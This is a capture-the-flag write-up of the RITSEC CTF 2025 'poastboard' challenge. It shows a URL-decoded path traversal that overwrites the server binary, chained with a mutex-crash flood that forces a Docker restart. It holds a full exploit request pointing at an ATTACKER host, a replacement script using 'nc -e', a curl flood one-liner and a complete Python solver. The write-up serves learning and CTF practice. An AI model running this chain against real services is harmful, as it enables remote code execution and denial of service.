Skip to content

Path Traversal

Created

Updated

3 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

URL-decoded last-segment traversal to binary overwrite

Event NameRITSEC CTF 2025
GitHub URL-
Challenge Namepoastboard (hard)
Attachments
References

  • Root cause: the JSON API accepts a hidden image: "url:http://..." mode even though the UI disables URL upload. After fetching attacker-controlled bytes, the handler rebuilds the destination filename from the last URL path segment and then calls os.Rename("/tmp/image.png", "./uploads/<user>/<post>/<filename>") without constraining traversal out of ./uploads.
  • Final exploit chain: host a shell-script replacement for /app/poastboard, upload it with url:http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard., then flood /api/stats until the mutex bug panics the service. Docker restarts the container, executes the overwritten binary, the replacement script runs /readflag, and the flag is served back on port 8080.
  • Important pivot: raw ../ and plain /poastboard payloads collapse to image.png; traversal only survives when the encoded slashes and dots stay inside one final path segment.
  • Timing caveat: /api/stats needs a burst of concurrent requests to trigger fatal error: sync: unlock of unlocked mutex reliably enough for Docker restart.
  • Environment caveat: the bundled local Docker image returns RS{FAKE_FLAG_FOR_TESTING} from /readflag; the exploit path was still validated from a clean rebuild and restart, so only the local flag value is fake.
why it is vulnerable
// Inference from RE of the stripped Go binary plus live validation.
if strings.HasPrefix(post.Image, "url:") {
    attackerURL := strings.TrimPrefix(post.Image, "url:")
    body := mustRead(http.Get(attackerURL))

    // The upload code derives the final filename from the last URL path segment.
    // Raw ../ is normalized away early, but a single encoded segment like
    // "%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard." is decoded late enough to become
    // "../../../poastboard" right before the rename.
    filename := decodeFinalSegment(attackerURL)

    os.WriteFile("/tmp/image.png", body, 0o755)
    postID := db.MakePost(...)

    // No guard prevents the rename target from escaping ./uploads.
    os.Rename("/tmp/image.png", fmt.Sprintf("./uploads/%s/%d/%s", user, postID, filename))
}

// Separately, /api/stats has a lock/unlock bug. A burst of concurrent requests
// crashes the process with: fatal error: sync: unlock of unlocked mutex.
// docker-compose.yml uses restart: always, so the overwritten /app/poastboard is
// executed on the next container start.
exploit payload
POST /api/post HTTP/1.1
Content-Type: application/json

{"content":"overwrite-binary","image":"url:http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard.","is_private":false}
#!/bin/sh
/readflag > /tmp/flag.txt
cat > /tmp/serveflag.sh <<'EOF'
#!/bin/sh
LEN=$(wc -c < /tmp/flag.txt | tr -d ' ')
printf 'HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$LEN"
cat /tmp/flag.txt
EOF
chmod +x /tmp/serveflag.sh
exec nc -lk -p 8080 -e /tmp/serveflag.sh
seq 1 400 | xargs -P 100 -I{} curl -s -o /dev/null -b cookies http://TARGET/api/stats
solver
#!/usr/bin/env python3
import concurrent.futures
import secrets
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

import requests

TARGET = "http://127.0.0.1:8080"
CALLBACK = "http://172.0.32.1:18083"
PAYLOAD_PATH = "/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard."
PAYLOAD = b"""#!/bin/sh
/readflag > /tmp/flag.txt
cat > /tmp/serveflag.sh <<'EOF'
#!/bin/sh
LEN=$(wc -c < /tmp/flag.txt | tr -d ' ')
printf 'HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$LEN"
cat /tmp/flag.txt
EOF
chmod +x /tmp/serveflag.sh
exec nc -lk -p 8080 -e /tmp/serveflag.sh
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        return

server = HTTPServer(("0.0.0.0", 18083), Handler)
threading.Thread(target=server.serve_forever, daemon=True).start()

s = requests.Session()
user = f"solver{int(time.time())}"
password = secrets.token_hex(8)
s.post(f"{TARGET}/api/register", json={"username": user, "password": password}, timeout=5)
s.post(f"{TARGET}/api/login", json={"username": user, "password": password}, timeout=5)

r = s.post(
    f"{TARGET}/api/post",
    json={
        "content": "overwrite-binary",
        "image": f"url:{CALLBACK}{PAYLOAD_PATH}",
        "is_private": False,
    },
    timeout=5,
)
assert "../../../poastboard" in r.text, r.text

cookies = s.cookies.get_dict()
def hit_stats(_):
    try:
        requests.get(f"{TARGET}/api/stats", cookies=cookies, timeout=5)
    except requests.RequestException:
        pass

with concurrent.futures.ThreadPoolExecutor(max_workers=100) as pool:
    list(pool.map(hit_stats, range(400)))

for _ in range(30):
    try:
        resp = requests.get(f"{TARGET}/", timeout=1)
        if resp.ok and resp.text.strip() and "<html" not in resp.text.lower():
            print(resp.text.strip())
            break
    except requests.RequestException:
        pass
    time.sleep(1)
else:
    raise SystemExit("flag not reached")

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.